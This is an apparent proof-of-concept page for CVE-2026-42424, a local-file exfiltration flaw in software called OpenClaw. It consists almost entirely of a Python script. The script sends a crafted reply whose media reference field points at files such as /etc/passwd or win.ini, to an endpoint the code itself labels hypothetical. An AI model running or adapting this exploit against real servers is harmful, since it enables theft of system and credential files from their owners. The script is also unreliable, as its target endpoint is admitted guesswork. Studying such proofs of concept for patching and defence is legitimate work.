CVE-2026-42424 OpenClaw本地文件窃取漏洞

# PoC for CVE-2026-42424: OpenClaw Local File Exfiltration # This demonstrates how a crafted media reference can leak files. import requests def exploit(target_url, channel_id, file_path): # Craft the malicious payload referencing a local file # The vulnerability expects a path in the media reference field payload = { "reply_content": "Interesting media file here", "media_reference": file_path # e.g., "/etc/passwd" or "C:\\Windows\\win.ini" } headers = { "Content-Type": "application/json" } # Send the request to the target endpoint (Hypothetical endpoint based on description) try: response = requests.post(f"{target_url}/api/reply/{channel_id}", json=payload, headers=headers) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check if the file content is reflected in the channel response.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") # Example usage if __name__ == "__main__": target = "http://vulnerable-openclaw-server" target_channel = "general" sensitive_file = "/etc/passwd" exploit(target, target_channel, sensitive_file)